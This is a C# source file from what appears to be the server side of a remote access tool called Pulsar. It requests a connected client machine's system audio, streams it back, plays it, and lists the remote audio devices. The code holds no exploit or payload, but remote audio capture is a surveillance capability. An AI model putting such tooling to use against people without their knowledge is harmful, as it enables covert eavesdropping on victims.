using NAudio.Wave; using Pulsar.Common.Messages; using Pulsar.Common.Messages.Audio; using Pulsar.Common.Messages.Other; using Pulsar.Common.Networking; using Pulsar.Server.Networking; using System; using System.Collections.Generic; using System.Diagnostics; using System.Drawing; namespace Pulsar.Server.Messages { /// /// Handles messages for the interaction with the microphone. /// public class AudioOutputHandler : MessageProcessorBase, IDisposable { /// /// States if the client is currently streaming microphone bits. /// public bool IsStarted { get; set; } /// /// Used in lock statements to synchronize access to between UI thread and thread pool. /// private readonly object _syncLock = new object(); /// /// Represents the method that will handle microphone changes. /// /// The message processor which raised the event. /// All currently available microphones. public delegate void OutputChangedEventHandler(object sender, List> device); /// /// Raised when a microphone changed. /// /// /// Handlers registered with this event will be invoked on the /// chosen when the instance was constructed. /// public event OutputChangedEventHandler OutputChanged; /// /// Represents the method that will handle audio data reception. /// /// The message processor which raised the event. /// The raw audio data bytes. public delegate void AudioDataReceivedEventHandler(object sender, byte[] audioData); /// /// Raised when audio data is received from the remote system audio. /// /// /// Handlers registered with this event will be invoked on the /// chosen when the instance was constructed. /// public event AudioDataReceivedEventHandler AudioDataReceived; /// /// Reports changed microphones. /// /// All currently available microphones. private void OnOutputChanged(List> devices) { SynchronizationContext.Post(dvce => { var handler = OutputChanged; handler?.Invoke(this, (List>)dvce); }, devices); } /// /// Reports received audio data. /// /// The raw audio data bytes. private void OnAudioDataReceived(byte[] audioData) { SynchronizationContext.Post(data => { var handler = AudioDataReceived; handler?.Invoke(this, (byte[])data); }, audioData); } /// /// The client which is associated with this audio handler. /// private readonly Client _client; /// /// Initializes a new instance of the class using the given client. /// /// The associated client. public AudioOutputHandler(Client client) : base(true) { _client = client; } /// /// Receives the bytes. /// private BufferedWaveProvider _provider; /// /// Plays the received audio /// private WaveOut _audioStream; /// /// Holds the desired bitrate /// public int _bitrate = 44100; /// public override bool CanExecute(IMessage message) => message is GetOutputResponse || message is GetOutputDeviceResponse; /// public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); /// public override void Execute(ISender sender, IMessage message) { switch (message) { case GetOutputResponse d: Execute(sender, d); break; case GetOutputDeviceResponse m: Execute(sender, m); break; } } /// /// Begins receiving frames from the client using the specified quality and display. /// /// The device to receive audio from. public void BeginReceiveAudio(int device) { lock (_syncLock) { try { if (IsStarted) { try { _client.Send(new GetOutput { DeviceIndex = device, Destroy = true }); } catch (Exception ex) { Debug.WriteLine($"Error stopping existing stream: {ex.Message}"); } } if (_audioStream != null) { try { _audioStream.Stop(); _audioStream.Dispose(); } catch (Exception ex) { Debug.WriteLine($"Error cleaning up existing audio stream: {ex.Message}"); } _audioStream = null; _provider = null; } IsStarted = true; WaveFormat waveFormat = new WaveFormat(_bitrate, 2); // 2 channels (stereo) as default _provider = new BufferedWaveProvider(waveFormat); _audioStream = new WaveOut(); _audioStream.Init(_provider); _audioStream.Play(); _client.Send(new GetOutput { CreateNew = true, DeviceIndex = device, Bitrate = _bitrate }); } catch (NAudio.MmException ex) { // Handle the exception gracefully IsStarted = false; _provider = null; _audioStream = null; System.Windows.Forms.MessageBox.Show($"Error initializing audio output device: {ex.Message}", "Audio Error", System.Windows.Forms.MessageBoxButtons.OK, System.Windows.Forms.MessageBoxIcon.Error); } catch (Exception ex) { // Handle any other unexpected exceptions IsStarted = false; _provider = null; _audioStream = null; System.Windows.Forms.MessageBox.Show($"An unexpected error occurred: {ex.Message}", "Audio Error", System.Windows.Forms.MessageBoxButtons.OK, System.Windows.Forms.MessageBoxIcon.Error); } } } /// /// Ends receiving audio from the client. /// /// /// The device to stop. public void EndReceiveAudio(int device) { lock (_syncLock) { try { _client.Send(new GetOutput { DeviceIndex = device, Destroy = true }); } catch (Exception ex) { Debug.WriteLine($"Error sending destroy message: {ex.Message}"); } finally { IsStarted = false; } } } /// /// Refreshes the available displays of the client. /// public void RefreshOutput() { _client.Send(new GetOutputDevice()); } private void Execute(ISender client, GetOutputResponse message) { lock (_syncLock) { try { if (!IsStarted) return; if (message?.Audio == null || message.Audio.Length == 0) { return; } if (_provider == null) { return; } OnAudioDataReceived(message.Audio); _provider.AddSamples(message.Audio, 0, message.Audio.Length); message.Audio = null; client.Send(new GetOutput { DeviceIndex = message.Device, Bitrate = _bitrate }); } catch (ObjectDisposedException ex) { Debug.WriteLine($"Audio resources disposed: {ex.Message}"); IsStarted = false; } catch (InvalidOperationException ex) { Debug.WriteLine($"Audio stream invalid operation: {ex.Message}"); IsStarted = false; } catch (Exception ex) { Debug.WriteLine($"Error processing audio output: {ex.Message}"); } } } private void Execute(ISender client, GetOutputDeviceResponse message) { OnOutputChanged(message.DeviceInfos); } /// /// Disposes all managed and unmanaged resources associated with this message processor. /// public void Dispose() { Dispose(true); GC.SuppressFinalize(this); } protected virtual void Dispose(bool disposing) { if (disposing) { lock (_syncLock) { try { if (_audioStream != null) { try { _audioStream.Stop(); } catch (Exception ex) { Debug.WriteLine($"Error stopping audio stream: {ex.Message}"); } try { _provider?.ClearBuffer(); } catch (Exception ex) { Debug.WriteLine($"Error clearing audio buffer: {ex.Message}"); } try { _audioStream.Dispose(); } catch (Exception ex) { Debug.WriteLine($"Error disposing audio stream: {ex.Message}"); } _audioStream = null; _provider = null; } } catch (Exception ex) { Debug.WriteLine($"Error in audio dispose: {ex.Message}"); } finally { IsStarted = false; } } } } } }